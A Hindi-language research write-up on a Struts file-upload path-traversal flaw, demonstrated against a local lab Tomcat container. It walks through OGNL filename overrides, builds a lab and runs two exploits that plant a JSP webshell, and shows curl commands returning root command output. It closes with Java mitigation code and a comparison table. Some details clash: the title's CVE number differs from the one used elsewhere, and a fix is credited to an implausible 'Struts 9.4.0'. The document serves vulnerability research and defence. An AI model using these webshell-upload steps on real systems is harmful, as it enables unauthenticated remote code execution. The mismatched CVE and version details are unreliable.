
CVE-2024-53667 के शोषण विकल्पों और उनके उपचार पर शोध
यह दोष इस बात में है कि Struts का FileUploadInterceptor अपलोड किए गए फ़ाइलनाम को एक्शन क्लास को कैसे सौंपता है।
सामान्यतः इंटरसेप्टर फ़ाइलनाम को सैनिटाइज़ करता है, लेकिन Struts किसी भी मल्टीपार्ट पैरामीटर को
ParametersInterceptor द्वारा OGNL एक्सप्रेशन के रूप में प्रोसेस होने देता है। top.UploadFileName
(या मल्टी-फ़ाइल एक्शन के लिए uploadFileName[0]) को फ़ॉर्म फ़ील्ड के रूप में भेजने पर सीधे
OGNL के माध्यम से action.setUploadFileName(value) कॉल होता है, जो इंटरसेप्टर द्वारा सेट की गई वैल्यू को ओवरराइड कर देता है।
फिर एक्शन बिना किसी पथ सैनिटाइजेशन के फ़ाइल लिखता है:
String uploadDir = "webapps/ROOT/uploads"; // Tomcat CWD /usr/local/tomcat/ के सापेक्ष
File destFile = new File(uploadDirectory, uploadFileName); // कोई सैनिटाइजेशन नहीं
../shell.jsp को फ़ाइलनाम के रूप में भेजने पर यह हल होता है:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← http://localhost:8080/shell.jsp पर उपलब्ध
वहाँ एक JSP वेबशेल अपलोड करने से अनऑथेंटिकेटेड RCE मिलता है।
इस कमज़ोरी से संबंधित दो एक्सप्लॉइट खोजे जा रहे हैं:
दोनों एक्सप्लॉइट के लिए लक्ष्य के रूप में उपयोग किया गया Lab Tomcat एप्लिकेशन सर्वर पहले रिपॉजिटरी से लिया गया है और एक कंटेनर (docker या podman) में चलता है।
इस रेपो में poc.py का एक Java संस्करण भी प्रदान किया गया है, जो
दूसरे स्रोत से उत्पन्न हुआ है।
दोनों एक्सप्लॉइट के बीच सूक्ष्म अंतर इस दस्तावेज़ के अंत में दिए गए साइड-बाय-साइड तुलना तालिका में दिखाया गया है।
दोनों एक्सप्लॉइट Struts 6.3.0.2 पर काम करते हुए पुष्टि किए गए हैं।
हालांकि, जब हमने Struts को 6.8.0 या 6.9.0 में अपग्रेड किया, तो पहला एक्सप्लॉइट
(CVE-2024-53677.py) काम करना बंद कर दिया - Struts 9.4.0 में फिक्स के कारण।
दूसरा एक्सप्लॉइट (StrutsExploitRunner) सभी संस्करणों 6.3.0.2, 6.8.0,
6.9.0 पर काम करता है, जब तक कि एक्सप्लॉइटेबल एप्लिकेशन कोड को नीचे
Mitigation अनुभाग में दी गई सलाह के अनुसार अपडेट नहीं किया जाता।
जांच के तकनीकी विवरण नीचे देखें।
पहला रेपो क्लोन करें और इसकी रूट डायरेक्टरी में जाएँ:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
एक्सप्लॉइटेड Lab Tomcat को बनाने और चलाने के लिए आपको docker (मूल रूप से) या podman (हमारे शोध में उपयोग) की आवश्यकता होगी:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
एक्सप्लॉइट स्क्रिप्ट को नीचे वर्णित अनुसार रेपो रूट डायरेक्टरी से Python वर्चुअल एनवायरनमेंट सक्रिय करके एक अलग शेल में चलाएँ।
top.UploadFileName का उपयोग करके /upload.action पर एक JSP वेबशेल अपलोड करता है ताकि पथ-ट्रावर्सल फ़ाइलनाम इंजेक्ट किया जा सके। हार्डकोडेड वेब-शेल ?action=cmd&cmd=<command> के माध्यम से कमांड स्वीकार करता है।
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p वह मान है जो top.UploadFileName के रूप में पास किया जाता है। एक ../ uploads/ डायरेक्टरी से बचने और फ़ाइल को वेब रूट में रखने के लिए पर्याप्त है।
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
आवश्यक action=cmd पैरामीटर पर ध्यान दें — हार्डकोडेड वेबशेल कमांड चलाने से पहले इसकी जाँच करता है। इसके बिना आपको आउटपुट के बजाय Unknown action. मिलता है।
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
/uploads.action (मल्टी-फ़ाइल वेरिएंट) को लक्षित करता है और OGNL के माध्यम से uploadFileName[0] को पथ-ट्रावर्सल मान पर सेट करता है। वही अंतर्निहित बायपास, अलग पैरामीटर नाम और एक्शन क्लास।
एक्सप्लॉइट को बनाने और चलाने के लिए आपको JDK 17 या उसके बाद के संस्करण की आवश्यकता होगी (java बाइनरी आपके PATH में होनी चाहिए)।
इस रेपो की रूट में निम्नलिखित कमांड चलाएँ ताकि एक्ज़ीक्यूटेबल uber-jar बनाया जा सके:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames फ़ाइलनाम को पिन करता है ताकि आप जान सकें कि इसे कहाँ से प्राप्त करना है। इसके बिना स्क्रिप्ट रैंडम नाम उत्पन्न करती है जो आउटपुट में प्रिंट होते हैं।
इस एप्लिकेशन द्वारा अपलोड किया गया वेब-शेल सरल ?cmd= इंटरफ़ेस का उपयोग करता है:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
प्रामाणिक फिक्स Struts 7.x में अपग्रेड करना है, जिसने फ़ाइल अपलोड तंत्र को पूरी तरह से पुनर्गठित किया है। यदि वह अपग्रेड अवरुद्ध है (JDK 8 अनुकूलता, तृतीय-पक्ष निर्भरता बाधाएँ), तो नीचे दी गई मिटिगेशन लागू की जा सकती है।
यह सबसे मजबूत फिक्स है क्योंकि यह किसी भी इंटरसेप्टर द्वारा पास किए गए मान के बावजूद काम करता है। गंतव्य पथ बनाने से पहले फ़ाइलनाम से सभी पथ घटकों को हटा दें, फिर सत्यापित करें कि हल किया गया पथ अभी भी इच्छित डायरेक्टरी के अंदर है।
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// हमलावर द्वारा top.UploadFileName के माध्यम से इंजेक्ट किए गए किसी भी पथ घटक को हटाएँ
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// पुष्टि करें कि हल किया गया पथ अभी भी अपलोड डायरेक्टरी के अंदर है
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("अमान्य अपलोड पथ।");
return ERROR;
}
// ... पहले की तरह बाइट्स कॉपी करें
Paths.get("../shell.jsp").getFileName() shell.jsp लौटाता है, इसलिए भले ही top.UploadFileName एक ट्रावर्सल स्ट्रिंग देता है, किसी भी I/O से पहले यह एक सामान्य फ़ाइलनाम में कम हो जाता है।
यही पैटर्न UploadsAction पर लागू होता है — इसे for लूप के अंदर प्रत्येक uploadFileName.get(i) पर लागू करें।
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| एंडपॉइंट | /upload.action | /uploads.action |
| OGNL पैरामीटर | top.UploadFileName | uploadFileName[0] |
| एक्शन क्लास | UploadAction (एकल फ़ाइल) | UploadsAction (मल्टी-फ़ाइल) |
| वेबशेल कॉल | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| डिफ़ॉल्ट पथ बग | कोई नहीं | --paths का डिफ़ॉल्ट बहुत गहरा है, .. से ओवरराइड करें |